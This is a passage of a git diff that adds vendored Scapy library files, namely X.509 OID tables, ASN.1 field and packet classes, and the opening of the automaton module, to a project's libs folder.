"1.3.6.1.5.5.7.3.8": "timeStamping", + "1.3.6.1.5.5.7.3.9": "ocspSigning", + "1.3.6.1.5.5.7.3.10": "dvcs", + "1.3.6.1.5.5.7.3.21": "secureShellClient", + "1.3.6.1.5.5.7.3.22": "secureShellServer" +} + +certPkixAd_oids = { + "1.3.6.1.5.5.7.48.1": "ocsp", + "1.3.6.1.5.5.7.48.2": "caIssuers", + "1.3.6.1.5.5.7.48.3": "timestamping", + "1.3.6.1.5.5.7.48.4": "id-ad-dvcs", + "1.3.6.1.5.5.7.48.5": "id-ad-caRepository", + "1.3.6.1.5.5.7.48.6": "id-pkix-ocsp-archive-cutoff", + "1.3.6.1.5.5.7.48.7": "id-pkix-ocsp-service-locator", + "1.3.6.1.5.5.7.48.12": "id-ad-cmc", + "1.3.6.1.5.5.7.48.1.1": "basic-response" +} + +# ansi-x962 # + +x962KeyType_oids = { + "1.2.840.10045.1.1": "prime-field", + "1.2.840.10045.1.2": "characteristic-two-field", + "1.2.840.10045.2.1": "ecPublicKey", +} + +x962Signature_oids = { + "1.2.840.10045.4.1": "ecdsa-with-SHA1", + "1.2.840.10045.4.2": "ecdsa-with-Recommended", + "1.2.840.10045.4.3.1": "ecdsa-with-SHA224", + "1.2.840.10045.4.3.2": "ecdsa-with-SHA256", + "1.2.840.10045.4.3.3": "ecdsa-with-SHA384", + "1.2.840.10045.4.3.4": "ecdsa-with-SHA512" +} + +# elliptic curves # + +ansiX962Curve_oids = { + "1.2.840.10045.3.1.1": "prime192v1", + "1.2.840.10045.3.1.2": "prime192v2", + "1.2.840.10045.3.1.3": "prime192v3", + "1.2.840.10045.3.1.4": "prime239v1", + "1.2.840.10045.3.1.5": "prime239v2", + "1.2.840.10045.3.1.6": "prime239v3", + "1.2.840.10045.3.1.7": "prime256v1" +} + +certicomCurve_oids = { + "1.3.132.0.1": "ansit163k1", + "1.3.132.0.2": "ansit163r1", + "1.3.132.0.3": "ansit239k1", + "1.3.132.0.4": "sect113r1", + "1.3.132.0.5": "sect113r2", + "1.3.132.0.6": "secp112r1", + "1.3.132.0.7": "secp112r2", + "1.3.132.0.8": "ansip160r1", + "1.3.132.0.9": "ansip160k1", + "1.3.132.0.10": "ansip256k1", + "1.3.132.0.15": "ansit163r2", + "1.3.132.0.16": "ansit283k1", + "1.3.132.0.17": "ansit283r1", + "1.3.132.0.22": "sect131r1", + "1.3.132.0.24": "ansit193r1", + "1.3.132.0.25": "ansit193r2", + "1.3.132.0.26": "ansit233k1", + "1.3.132.0.27": "ansit233r1", + "1.3.132.0.28": "secp128r1", + "1.3.132.0.29": "secp128r2", + "1.3.132.0.30": "ansip160r2", + "1.3.132.0.31": "ansip192k1", + "1.3.132.0.32": "ansip224k1", + "1.3.132.0.33": "ansip224r1", + "1.3.132.0.34": "ansip384r1", + "1.3.132.0.35": "ansip521r1", + "1.3.132.0.36": "ansit409k1", + "1.3.132.0.37": "ansit409r1", + "1.3.132.0.38": "ansit571k1", + "1.3.132.0.39": "ansit571r1" +} + +# policies # + +certPolicy_oids = { + "anyPolicy": "2.5.29.32.0" +} + +# from Chromium source code (ev_root_ca_metadata.cc) +evPolicy_oids = { + '1.2.392.200091.100.721.1': 'EV Security Communication RootCA1', + '1.2.616.1.113527.2.5.1.1': 'EV Certum Trusted Network CA', + '1.3.159.1.17.1': 'EV Actualis Authentication Root CA', + '1.3.6.1.4.1.13177.10.1.3.10': 'EV Autoridad de Certificacion Firmaprofesional CIF A62634068', # noqa: E501 + '1.3.6.1.4.1.14370.1.6': 'EV GeoTrust Primary Certification Authority', + '1.3.6.1.4.1.14777.6.1.1': 'EV Izenpe.com roots Business', + '1.3.6.1.4.1.14777.6.1.2': 'EV Izenpe.com roots Government', + '1.3.6.1.4.1.17326.10.14.2.1.2': 'EV AC Camerfirma S.A. Chambers of Commerce Root - 2008', # noqa: E501 + '1.3.6.1.4.1.17326.10.14.2.2.2': 'EV AC Camerfirma S.A. Chambers of Commerce Root - 2008', # noqa: E501 + '1.3.6.1.4.1.17326.10.8.12.1.2': 'EV AC Camerfirma S.A. Global Chambersign Root - 2008', # noqa: E501 + '1.3.6.1.4.1.17326.10.8.12.2.2': 'EV AC Camerfirma S.A. Global Chambersign Root - 2008', # noqa: E501 + '1.3.6.1.4.1.22234.2.5.2.3.1': 'EV CertPlus Class 2 Primary CA (KEYNECTIS)', # noqa: E501 + '1.3.6.1.4.1.23223.1.1.1': 'EV StartCom Certification Authority', + '1.3.6.1.4.1.29836.1.10': 'EV China Internet Network Information Center EV Certificates Root', # noqa: E501 + '1.3.6.1.4.1.311.60.2.1.1': 'jurisdictionOfIncorporationLocalityName', + '1.3.6.1.4.1.311.60.2.1.2': 'jurisdictionOfIncorporationStateOrProvinceName', # noqa: E501 + '1.3.6.1.4.1.311.60.2.1.3': 'jurisdictionOfIncorporationCountryName', + '1.3.6.1.4.1.34697.2.1': 'EV AffirmTrust Commercial', + '1.3.6.1.4.1.34697.2.2': 'EV AffirmTrust Networking', + '1.3.6.1.4.1.34697.2.3': 'EV AffirmTrust Premium', + '1.3.6.1.4.1.34697.2.4': 'EV AffirmTrust Premium ECC', + '1.3.6.1.4.1.36305.2': 'EV Certificate Authority of WoSign', + '1.3.6.1.4.1.40869.1.1.22.3': 'EV TWCA Roots', + '1.3.6.1.4.1.4146.1.1': 'EV GlobalSign Root CAs', + '1.3.6.1.4.1.4788.2.202.1': 'EV D-TRUST Root Class 3 CA 2 EV 2009', + '1.3.6.1.4.1.6334.1.100.1': 'EV Cybertrust Global Root', + '1.3.6.1.4.1.6449.1.2.1.5.1': 'EV USERTrust Certification Authorities', + '1.3.6.1.4.1.781.1.2.1.8.1': 'EV Network Solutions Certificate Authority', + '1.3.6.1.4.1.782.1.2.1.8.1': 'EV AddTrust External CA Root', + '1.3.6.1.4.1.7879.13.24.1': 'EV T-Telessec GlobalRoot Class 3', + '1.3.6.1.4.1.8024.0.2.100.1.2': 'EV QuoVadis Roots', + '2.16.528.1.1003.1.2.7': 'EV Staat der Nederlanden EV Root CA', + '2.16.578.1.26.1.3.3': 'EV Buypass Class 3', + '2.16.756.1.83.21.0': 'EV Swisscom Root EV CA 2', + '2.16.756.1.89.1.2.1.1': 'EV SwissSign Gold CA - G2', + '2.16.792.3.0.4.1.1.4': 'EV E-Tugra Certification Authority', + '2.16.840.1.113733.1.7.23.6': 'EV VeriSign Certification Authorities', + '2.16.840.1.113733.1.7.48.1': 'EV thawte CAs', + '2.16.840.1.114028.10.1.2': 'EV Entrust Certification Authority', + '2.16.840.1.114171.500.9': 'EV Wells Fargo WellsSecure Public Root Certification Authority', # noqa: E501 + '2.16.840.1.114404.1.1.2.4.1': 'EV XRamp Global Certification Authority', + '2.16.840.1.114412.2.1': 'EV DigiCert High Assurance EV Root CA', + '2.16.840.1.114413.1.7.23.3': 'EV ValiCert Class 2 Policy Validation Authority', # noqa: E501 + '2.16.840.1.114414.1.7.23.3': 'EV Starfield Certificate Authority', + '2.16.840.1.114414.1.7.24.3': 'EV Starfield Service Certificate Authority' # noqa: E501 +} + + +x509_oids_sets = [ + pkcs1_oids, + secsig_oids, + pkcs9_oids, + attributeType_oids, + certificateExtension_oids, + certExt_oids, + certPkixPe_oids, + certPkixQt_oids, + certPkixKp_oids, + certPkixAd_oids, + certPolicy_oids, + evPolicy_oids, + x962KeyType_oids, + x962Signature_oids, + ansiX962Curve_oids, + certicomCurve_oids +] + +x509_oids = {} + +for oids_set in x509_oids_sets: + x509_oids.update(oids_set) + +conf.mib = MIBDict(_name="MIB", **x509_oids) + + +######################### +# Hash mapping helper # +######################### + +# This dict enables static access to string references to the hash functions +# of some algorithms from pkcs1_oids and x962Signature_oids. + +hash_by_oid = { + "1.2.840.113549.1.1.2": "md2", + "1.2.840.113549.1.1.3": "md4", + "1.2.840.113549.1.1.4": "md5", + "1.2.840.113549.1.1.5": "sha1", + "1.2.840.113549.1.1.11": "sha256", + "1.2.840.113549.1.1.12": "sha384", + "1.2.840.113549.1.1.13": "sha512", + "1.2.840.113549.1.1.14": "sha224", + "1.2.840.10045.4.1": "sha1", + "1.2.840.10045.4.3.1": "sha224", + "1.2.840.10045.4.3.2": "sha256", + "1.2.840.10045.4.3.3": "sha384", + "1.2.840.10045.4.3.4": "sha512" +} diff --git a/libs/scapy/asn1fields.py b/libs/scapy/asn1fields.py new file mode 100755 index 0000000..f7eda3c --- /dev/null +++ b/libs/scapy/asn1fields.py @@ -0,0 +1,665 @@ +# This file is part of Scapy +# See http://www.secdev.org/projects/scapy for more information +# Copyright (C) Philippe Biondi +# Enhanced by Maxence Tury +# This program is published under a GPLv2 license + +""" +Classes that implement ASN.1 data structures. +""" + +from __future__ import absolute_import +from scapy.asn1.asn1 import ASN1_Class_UNIVERSAL, ASN1_NULL, ASN1_Error, \ + ASN1_Object, ASN1_INTEGER +from scapy.asn1.ber import BER_tagging_dec, BER_Decoding_Error, BER_id_dec, \ + BER_tagging_enc +from scapy.volatile import RandInt, RandChoice, RandNum, RandString, RandOID, \ + GeneralizedTime +from scapy.compat import orb, raw +from scapy.base_classes import BasePacket +from scapy.utils import binrepr +from scapy import packet +from functools import reduce +import scapy.modules.six as six +from scapy.modules.six.moves import range + + +class ASN1F_badsequence(Exception): + pass + + +class ASN1F_element(object): + pass + + +########################## +# Basic ASN1 Field # +########################## + +class ASN1F_field(ASN1F_element): + holds_packets = 0 + islist = 0 + ASN1_tag = ASN1_Class_UNIVERSAL.ANY + context = ASN1_Class_UNIVERSAL + + def __init__(self, name, default, context=None, + implicit_tag=None, explicit_tag=None, + flexible_tag=False): + self.context = context + self.name = name + if default is None: + self.default = None + elif isinstance(default, ASN1_NULL): + self.default = default + else: + self.default = self.ASN1_tag.asn1_object(default) + self.flexible_tag = flexible_tag + if (implicit_tag is not None) and (explicit_tag is not None): + err_msg = "field cannot be both implicitly and explicitly tagged" + raise ASN1_Error(err_msg) + self.implicit_tag = implicit_tag + self.explicit_tag = explicit_tag + # network_tag gets useful for ASN1F_CHOICE + self.network_tag = implicit_tag or explicit_tag or self.ASN1_tag + + def i2repr(self, pkt, x): + return repr(x) + + def i2h(self, pkt, x): + return x + + def any2i(self, pkt, x): + return x + + def m2i(self, pkt, s): + """ + The good thing about safedec is that it may still decode ASN1 + even if there is a mismatch between the expected tag (self.ASN1_tag) + and the actual tag; the decoded ASN1 object will simply be put + into an ASN1_BADTAG object. However, safedec prevents the raising of + exceptions needed for ASN1F_optional processing. + Thus we use 'flexible_tag', which should be False with ASN1F_optional. + + Regarding other fields, we might need to know whether encoding went + as expected or not. Noticeably, input methods from cert.py expect + certain exceptions to be raised. Hence default flexible_tag is False. + """ + diff_tag, s = BER_tagging_dec(s, hidden_tag=self.ASN1_tag, + implicit_tag=self.implicit_tag, + explicit_tag=self.explicit_tag, + safe=self.flexible_tag) + if diff_tag is not None: + # this implies that flexible_tag was True + if self.implicit_tag is not None: + self.implicit_tag = diff_tag + elif self.explicit_tag is not None: + self.explicit_tag = diff_tag + codec = self.ASN1_tag.get_codec(pkt.ASN1_codec) + if self.flexible_tag: + return codec.safedec(s, context=self.context) + else: + return codec.dec(s, context=self.context) + + def i2m(self, pkt, x): + if x is None: + return b"" + if isinstance(x, ASN1_Object): + if (self.ASN1_tag == ASN1_Class_UNIVERSAL.ANY or + x.tag == ASN1_Class_UNIVERSAL.RAW or + x.tag == ASN1_Class_UNIVERSAL.ERROR or + self.ASN1_tag == x.tag): + s = x.enc(pkt.ASN1_codec) + else: + raise ASN1_Error("Encoding Error: got %r instead of an %r for field [%s]" % (x, self.ASN1_tag, self.name)) # noqa: E501 + else: + s = self.ASN1_tag.get_codec(pkt.ASN1_codec).enc(x) + return BER_tagging_enc(s, implicit_tag=self.implicit_tag, + explicit_tag=self.explicit_tag) + + def extract_packet(self, cls, s): + if len(s) > 0: + try: + c = cls(s) + except ASN1F_badsequence: + c = packet.Raw(s) + cpad = c.getlayer(packet.Raw) + s = b"" + if cpad is not None: + s = cpad.load + del(cpad.underlayer.payload) + return c, s + else: + return None, s + + def build(self, pkt): + return self.i2m(pkt, getattr(pkt, self.name)) + + def dissect(self, pkt, s): + v, s = self.m2i(pkt, s) + self.set_val(pkt, v) + return s + + def do_copy(self, x): + if hasattr(x, "copy"): + return x.copy() + if isinstance(x, list): + x = x[:] + for i in range(len(x)): + if isinstance(x[i], BasePacket): + x[i] = x[i].copy() + return x + + def set_val(self, pkt, val): + setattr(pkt, self.name, val) + + def is_empty(self, pkt): + return getattr(pkt, self.name) is None + + def get_fields_list(self): + return [self] + + def __str__(self): + return repr(self) + + def randval(self): + return RandInt() + + +############################ +# Simple ASN1 Fields # +############################ + +class ASN1F_BOOLEAN(ASN1F_field): + ASN1_tag = ASN1_Class_UNIVERSAL.BOOLEAN + + def randval(self): + return RandChoice(True, False) + + +class ASN1F_INTEGER(ASN1F_field): + ASN1_tag = ASN1_Class_UNIVERSAL.INTEGER + + def randval(self): + return RandNum(-2**64, 2**64 - 1) + + +class ASN1F_enum_INTEGER(ASN1F_INTEGER): + def __init__(self, name, default, enum, context=None, + implicit_tag=None, explicit_tag=None): + ASN1F_INTEGER.__init__(self, name, default, context=context, + implicit_tag=implicit_tag, + explicit_tag=explicit_tag) + i2s = self.i2s = {} + s2i = self.s2i = {} + if isinstance(enum, list): + keys = range(len(enum)) + else: + keys = list(enum) + if any(isinstance(x, six.string_types) for x in keys): + i2s, s2i = s2i, i2s + for k in keys: + i2s[k] = enum[k] + s2i[enum[k]] = k + + def i2m(self, pkt, s): + if isinstance(s, str): + s = self.s2i.get(s) + return super(ASN1F_enum_INTEGER, self).i2m(pkt, s) + + def i2repr(self, pkt, x): + if x is not None and isinstance(x, ASN1_INTEGER): + r = self.i2s.get(x.val) + if r: + return "'%s' %s" % (r, repr(x)) + return repr(x) + + +class ASN1F_BIT_STRING(ASN1F_field): + ASN1_tag = ASN1_Class_UNIVERSAL.BIT_STRING + + def __init__(self, name, default, default_readable=True, context=None, + implicit_tag=None, explicit_tag=None): + if default is not None and default_readable: + default = b"".join(binrepr(orb(x)).zfill(8).encode("utf8") for x in default) # noqa: E501 + ASN1F_field.__init__(self, name, default, context=context, + implicit_tag=implicit_tag, + explicit_tag=explicit_tag) + + def randval(self): + return RandString(RandNum(0, 1000)) + + +class ASN1F_STRING(ASN1F_field): + ASN1_tag = ASN1_Class_UNIVERSAL.STRING + + def randval(self): + return RandString(RandNum(0, 1000)) + + +class ASN1F_NULL(ASN1F_INTEGER): + ASN1_tag = ASN1_Class_UNIVERSAL.NULL + + +class ASN1F_OID(ASN1F_field): + ASN1_tag = ASN1_Class_UNIVERSAL.OID + + def randval(self): + return RandOID() + + +class ASN1F_ENUMERATED(ASN1F_enum_INTEGER): + ASN1_tag = ASN1_Class_UNIVERSAL.ENUMERATED + + +class ASN1F_UTF8_STRING(ASN1F_STRING): + ASN1_tag = ASN1_Class_UNIVERSAL.UTF8_STRING + + +class ASN1F_NUMERIC_STRING(ASN1F_STRING): + ASN1_tag = ASN1_Class_UNIVERSAL.NUMERIC_STRING + + +class ASN1F_PRINTABLE_STRING(ASN1F_STRING): + ASN1_tag = ASN1_Class_UNIVERSAL.PRINTABLE_STRING + + +class ASN1F_T61_STRING(ASN1F_STRING): + ASN1_tag = ASN1_Class_UNIVERSAL.T61_STRING + + +class ASN1F_VIDEOTEX_STRING(ASN1F_STRING): + ASN1_tag = ASN1_Class_UNIVERSAL.VIDEOTEX_STRING + + +class ASN1F_IA5_STRING(ASN1F_STRING): + ASN1_tag = ASN1_Class_UNIVERSAL.IA5_STRING + + +class ASN1F_UTC_TIME(ASN1F_STRING): + ASN1_tag = ASN1_Class_UNIVERSAL.UTC_TIME + + def randval(self): + return GeneralizedTime() + + +class ASN1F_GENERALIZED_TIME(ASN1F_STRING): + ASN1_tag = ASN1_Class_UNIVERSAL.GENERALIZED_TIME + + def randval(self): + return GeneralizedTime() + + +class ASN1F_ISO646_STRING(ASN1F_STRING): + ASN1_tag = ASN1_Class_UNIVERSAL.ISO646_STRING + + +class ASN1F_UNIVERSAL_STRING(ASN1F_STRING): + ASN1_tag = ASN1_Class_UNIVERSAL.UNIVERSAL_STRING + + +class ASN1F_BMP_STRING(ASN1F_STRING): + ASN1_tag = ASN1_Class_UNIVERSAL.BMP_STRING + + +class ASN1F_SEQUENCE(ASN1F_field): + # Here is how you could decode a SEQUENCE + # with an unknown, private high-tag prefix : + # class PrivSeq(ASN1_Packet): + # ASN1_codec = ASN1_Codecs.BER + # ASN1_root = ASN1F_SEQUENCE( + # , + # ... + # , + # explicit_tag=0, + # flexible_tag=True) + # Because we use flexible_tag, the value of the explicit_tag does not matter. # noqa: E501 + ASN1_tag = ASN1_Class_UNIVERSAL.SEQUENCE + holds_packets = 1 + + def __init__(self, *seq, **kwargs): + name = "dummy_seq_name" + default = [field.default for field in seq] + for kwarg in ["context", "implicit_tag", + "explicit_tag", "flexible_tag"]: + setattr(self, kwarg, kwargs.get(kwarg)) + ASN1F_field.__init__(self, name, default, context=self.context, + implicit_tag=self.implicit_tag, + explicit_tag=self.explicit_tag, + flexible_tag=self.flexible_tag) + self.seq = seq + self.islist = len(seq) > 1 + + def __repr__(self): + return "<%s%r>" % (self.__class__.__name__, self.seq) + + def is_empty(self, pkt): + return all(f.is_empty(pkt) for f in self.seq) + + def get_fields_list(self): + return reduce(lambda x, y: x + y.get_fields_list(), self.seq, []) + + def m2i(self, pkt, s): + """ + ASN1F_SEQUENCE behaves transparently, with nested ASN1_objects being + dissected one by one. Because we use obj.dissect (see loop below) + instead of obj.m2i (as we trust dissect to do the appropriate set_vals) + we do not directly retrieve the list of nested objects. + Thus m2i returns an empty list (along with the proper remainder). + It is discarded by dissect() and should not be missed elsewhere. + """ + diff_tag, s = BER_tagging_dec(s, hidden_tag=self.ASN1_tag, + implicit_tag=self.implicit_tag, + explicit_tag=self.explicit_tag, + safe=self.flexible_tag) + if diff_tag is not None: + if self.implicit_tag is not None: + self.implicit_tag = diff_tag + elif self.explicit_tag is not None: + self.explicit_tag = diff_tag + codec = self.ASN1_tag.get_codec(pkt.ASN1_codec) + i, s, remain = codec.check_type_check_len(s) + if len(s) == 0: + for obj in self.seq: + obj.set_val(pkt, None) + else: + for obj in self.seq: + try: + s = obj.dissect(pkt, s) + except ASN1F_badsequence: + break + if len(s) > 0: + raise BER_Decoding_Error("unexpected remainder", remaining=s) + return [], remain + + def dissect(self, pkt, s): + _, x = self.m2i(pkt, s) + return x + + def build(self, pkt): + s = reduce(lambda x, y: x + y.build(pkt), self.seq, b"") + return self.i2m(pkt, s) + + +class ASN1F_SET(ASN1F_SEQUENCE): + ASN1_tag = ASN1_Class_UNIVERSAL.SET + + +class ASN1F_SEQUENCE_OF(ASN1F_field): + ASN1_tag = ASN1_Class_UNIVERSAL.SEQUENCE + holds_packets = 1 + islist = 1 + + def __init__(self, name, default, cls, context=None, + implicit_tag=None, explicit_tag=None): + self.cls = cls + ASN1F_field.__init__(self, name, None, context=context, + implicit_tag=implicit_tag, explicit_tag=explicit_tag) # noqa: E501 + self.default = default + + def is_empty(self, pkt): + return ASN1F_field.is_empty(self, pkt) + + def m2i(self, pkt, s): + diff_tag, s = BER_tagging_dec(s, hidden_tag=self.ASN1_tag, + implicit_tag=self.implicit_tag, + explicit_tag=self.explicit_tag, + safe=self.flexible_tag) + if diff_tag is not None: + if self.implicit_tag is not None: + self.implicit_tag = diff_tag + elif self.explicit_tag is not None: + self.explicit_tag = diff_tag + codec = self.ASN1_tag.get_codec(pkt.ASN1_codec) + i, s, remain = codec.check_type_check_len(s) + lst = [] + while s: + c, s = self.extract_packet(self.cls, s) + lst.append(c) + if len(s) > 0: + raise BER_Decoding_Error("unexpected remainder", remaining=s) + return lst, remain + + def build(self, pkt): + val = getattr(pkt, self.name) + if isinstance(val, ASN1_Object) and val.tag == ASN1_Class_UNIVERSAL.RAW: # noqa: E501 + s = val + elif val is None: + s = b"" + else: + s = b"".join(raw(i) for i in val) + return self.i2m(pkt, s) + + def randval(self): + return packet.fuzz(self.cls()) + + def __repr__(self): + return "<%s %s>" % (self.__class__.__name__, self.name) + + +class ASN1F_SET_OF(ASN1F_SEQUENCE_OF): + ASN1_tag = ASN1_Class_UNIVERSAL.SET + + +class ASN1F_IPADDRESS(ASN1F_STRING): + ASN1_tag = ASN1_Class_UNIVERSAL.IPADDRESS + + +class ASN1F_TIME_TICKS(ASN1F_INTEGER): + ASN1_tag = ASN1_Class_UNIVERSAL.TIME_TICKS + + +############################# +# Complex ASN1 Fields # +############################# + +class ASN1F_optional(ASN1F_element): + def __init__(self, field): + field.flexible_tag = False + self._field = field + + def __getattr__(self, attr): + return getattr(self._field, attr) + + def m2i(self, pkt, s): + try: + return self._field.m2i(pkt, s) + except (ASN1_Error, ASN1F_badsequence, BER_Decoding_Error): + # ASN1_Error may be raised by ASN1F_CHOICE + return None, s + + def dissect(self, pkt, s): + try: + return self._field.dissect(pkt, s) + except (ASN1_Error, ASN1F_badsequence, BER_Decoding_Error): + self._field.set_val(pkt, None) + return s + + def build(self, pkt): + if self._field.is_empty(pkt): + return b"" + return self._field.build(pkt) + + def any2i(self, pkt, x): + return self._field.any2i(pkt, x) + + def i2repr(self, pkt, x): + return self._field.i2repr(pkt, x) + + +class ASN1F_CHOICE(ASN1F_field): + """ + Multiple types are allowed: ASN1_Packet, ASN1F_field and ASN1F_PACKET(), + See layers/x509.py for examples. + Other ASN1F_field instances than ASN1F_PACKET instances must not be used. + """ + holds_packets = 1 + ASN1_tag = ASN1_Class_UNIVERSAL.ANY + + def __init__(self, name, default, *args, **kwargs): + if "implicit_tag" in kwargs: + err_msg = "ASN1F_CHOICE has been called with an implicit_tag" + raise ASN1_Error(err_msg) + self.implicit_tag = None + for kwarg in ["context", "explicit_tag"]: + setattr(self, kwarg, kwargs.get(kwarg)) + ASN1F_field.__init__(self, name, None, context=self.context, + explicit_tag=self.explicit_tag) + self.default = default + self.current_choice = None + self.choices = {} + self.pktchoices = {} + for p in args: + if hasattr(p, "ASN1_root"): # should be ASN1_Packet + if hasattr(p.ASN1_root, "choices"): + for k, v in six.iteritems(p.ASN1_root.choices): + self.choices[k] = v # ASN1F_CHOICE recursion + else: + self.choices[p.ASN1_root.network_tag] = p + elif hasattr(p, "ASN1_tag"): + if isinstance(p, type): # should be ASN1F_field class + self.choices[p.ASN1_tag] = p + else: # should be ASN1F_PACKET instance + self.choices[p.network_tag] = p + self.pktchoices[hash(p.cls)] = (p.implicit_tag, p.explicit_tag) # noqa: E501 + else: + raise ASN1_Error("ASN1F_CHOICE: no tag found for one field") + + def m2i(self, pkt, s): + """ + First we have to retrieve the appropriate choice. + Then we extract the field/packet, according to this choice. + """ + if len(s) == 0: + raise ASN1_Error("ASN1F_CHOICE: got empty string") + _, s = BER_tagging_dec(s, hidden_tag=self.ASN1_tag, + explicit_tag=self.explicit_tag) + tag, _ = BER_id_dec(s) + if tag not in self.choices: + if self.flexible_tag: + choice = ASN1F_field + else: + raise ASN1_Error("ASN1F_CHOICE: unexpected field") + else: + choice = self.choices[tag] + if hasattr(choice, "ASN1_root"): + # we don't want to import ASN1_Packet in this module... + return self.extract_packet(choice, s) + elif isinstance(choice, type): + # XXX find a way not to instantiate the ASN1F_field + return choice(self.name, b"").m2i(pkt, s) + else: + # XXX check properly if this is an ASN1F_PACKET + return choice.m2i(pkt, s) + + def i2m(self, pkt, x): + if x is None: + s = b"" + else: + s = raw(x) + if hash(type(x)) in self.pktchoices: + imp, exp = self.pktchoices[hash(type(x))] + s = BER_tagging_enc(s, implicit_tag=imp, + explicit_tag=exp) + return BER_tagging_enc(s, explicit_tag=self.explicit_tag) + + def randval(self): + randchoices = [] + for p in six.itervalues(self.choices): + if hasattr(p, "ASN1_root"): # should be ASN1_Packet class + randchoices.append(packet.fuzz(p())) + elif hasattr(p, "ASN1_tag"): + if isinstance(p, type): # should be (basic) ASN1F_field class # noqa: E501 + randchoices.append(p("dummy", None).randval()) + else: # should be ASN1F_PACKET instance + randchoices.append(p.randval()) + return RandChoice(*randchoices) + + +class ASN1F_PACKET(ASN1F_field): + holds_packets = 1 + + def __init__(self, name, default, cls, context=None, + implicit_tag=None, explicit_tag=None): + self.cls = cls + ASN1F_field.__init__(self, name, None, context=context, + implicit_tag=implicit_tag, explicit_tag=explicit_tag) # noqa: E501 + if cls.ASN1_root.ASN1_tag == ASN1_Class_UNIVERSAL.SEQUENCE: + if implicit_tag is None and explicit_tag is None: + self.network_tag = 16 | 0x20 + self.default = default + + def m2i(self, pkt, s): + diff_tag, s = BER_tagging_dec(s, hidden_tag=self.cls.ASN1_root.ASN1_tag, # noqa: E501 + implicit_tag=self.implicit_tag, + explicit_tag=self.explicit_tag, + safe=self.flexible_tag) + if diff_tag is not None: + if self.implicit_tag is not None: + self.implicit_tag = diff_tag + elif self.explicit_tag is not None: + self.explicit_tag = diff_tag + p, s = self.extract_packet(self.cls, s) + return p, s + + def i2m(self, pkt, x): + if x is None: + s = b"" + else: + s = raw(x) + return BER_tagging_enc(s, implicit_tag=self.implicit_tag, + explicit_tag=self.explicit_tag) + + def randval(self): + return packet.fuzz(self.cls()) + + +class ASN1F_BIT_STRING_ENCAPS(ASN1F_BIT_STRING): + """ + We may emulate simple string encapsulation with explicit_tag=0x04, + but we need a specific class for bit strings because of unused bits, etc. + """ + holds_packets = 1 + + def __init__(self, name, default, cls, context=None, + implicit_tag=None, explicit_tag=None): + self.cls = cls + ASN1F_BIT_STRING.__init__(self, name, None, context=context, + implicit_tag=implicit_tag, + explicit_tag=explicit_tag) + self.default = default + + def m2i(self, pkt, s): + bit_string, remain = ASN1F_BIT_STRING.m2i(self, pkt, s) + if len(bit_string.val) % 8 != 0: + raise BER_Decoding_Error("wrong bit string", remaining=s) + p, s = self.extract_packet(self.cls, bit_string.val_readable) + if len(s) > 0: + raise BER_Decoding_Error("unexpected remainder", remaining=s) + return p, remain + + def i2m(self, pkt, x): + s = b"" if x is None else raw(x) + s = b"".join(binrepr(orb(x)).zfill(8).encode("utf8") for x in s) + return ASN1F_BIT_STRING.i2m(self, pkt, s) + + +class ASN1F_FLAGS(ASN1F_BIT_STRING): + def __init__(self, name, default, mapping, context=None, + implicit_tag=None, explicit_tag=None): + self.mapping = mapping + ASN1F_BIT_STRING.__init__(self, name, default, + default_readable=False, + context=context, + implicit_tag=implicit_tag, + explicit_tag=explicit_tag) + + def get_flags(self, pkt): + fbytes = getattr(pkt, self.name).val + return [self.mapping[i] for i, positional in enumerate(fbytes) + if positional == '1' and i < len(self.mapping)] + + def i2repr(self, pkt, x): + if x is not None: + pretty_s = ", ".join(self.get_flags(pkt)) + return pretty_s + " " + repr(x) + return repr(x) diff --git a/libs/scapy/asn1packet.py b/libs/scapy/asn1packet.py new file mode 100755 index 0000000..5fe4ef4 --- /dev/null +++ b/libs/scapy/asn1packet.py @@ -0,0 +1,35 @@ +# This file is part of Scapy +# See http://www.secdev.org/projects/scapy for more information +# Copyright (C) Philippe Biondi +# This program is published under a GPLv2 license + +""" +ASN.1 Packet + +Packet holding data in Abstract Syntax Notation (ASN.1). +""" + +from __future__ import absolute_import +from scapy.base_classes import Packet_metaclass +from scapy.packet import Packet +import scapy.modules.six as six + + +class ASN1Packet_metaclass(Packet_metaclass): + def __new__(cls, name, bases, dct): + if dct["ASN1_root"] is not None: + dct["fields_desc"] = dct["ASN1_root"].get_fields_list() + return super(ASN1Packet_metaclass, cls).__new__(cls, name, bases, dct) + + +class ASN1_Packet(six.with_metaclass(ASN1Packet_metaclass, Packet)): + ASN1_root = None + ASN1_codec = None + + def self_build(self): + if self.raw_packet_cache is not None: + return self.raw_packet_cache + return self.ASN1_root.build(self) + + def do_dissect(self, x): + return self.ASN1_root.dissect(self, x) diff --git a/libs/scapy/automaton.py b/libs/scapy/automaton.py new file mode 100755 index 0000000..c2c771e --- /dev/null +++ b/libs/scapy/automaton.py @@ -0,0 +1,1030 @@ +# This file is part of Scapy +# See http://www.secdev.org/projects/scapy for more information +# Copyright (C) Philippe Biondi +# Copyright (C) Gabriel Potter +# This program is published under a GPLv2 license + +""" +Automata with states, transitions and actions. +""" + +from __future__ import absolute_import +import types +import itertools +import time +import os +import sys +import traceback +from select import select +from collections import deque +import threading +from scapy.config import conf +from scapy.utils import do_graph +from scapy.error import log_runtime, warning +from scapy.plist import PacketList +from scapy.data import MTU +from scapy.supersocket import SuperSocket +from scapy.consts import WINDOWS +import scapy.modules.six as six + + +""" In Windows, select.select is not available for custom objects. Here's the implementation of scapy to re-create this functionality # noqa: E501 +# Passive way: using no-ressources locks + +---------+ +---------------+ +-------------------------+ # noqa: E501 + | Start +------------->Select_objects +----->+Linux: call select.select| # noqa: E501 + +---------+ |(select.select)| +-------------------------+ # noqa: E501 + +-------+-------+ + | + +----v----+ +--------+ + | Windows | |Time Out+----------------------------------+ # noqa: E501 + +----+----+ +----+---+ | # noqa: E501 + | ^ | # noqa: E501 + Event | | | # noqa: E501 + + | | | # noqa: E501 + | +-------v-------+ | | # noqa: E501 + | +------+Selectable Sel.+-----+-----------------+-----------+ | # noqa: E501 + | | +-------+-------+ | | | v +-----v-----+ # noqa: E501 ++-------v----------+ | | | | | Passive lock<-----+release_all<------+ # noqa: E501 +|Data added to list| +----v-----+ +-----v-----+ +----v-----+ v v + +-----------+ | # noqa: E501 ++--------+---------+ |Selectable| |Selectable | |Selectable| ............ | | # noqa: E501 + | +----+-----+ +-----------+ +----------+ | | # noqa: E501 + | v | | # noqa: E501 + v +----+------+ +------------------+ +-------------v-------------------+ | # noqa: E501 + +-----+------+ |wait_return+-->+ check_recv: | | | | # noqa: E501 + |call_release| +----+------+ |If data is in list| | END state: selectable returned | +---+--------+ # noqa: E501 + +-----+-------- v 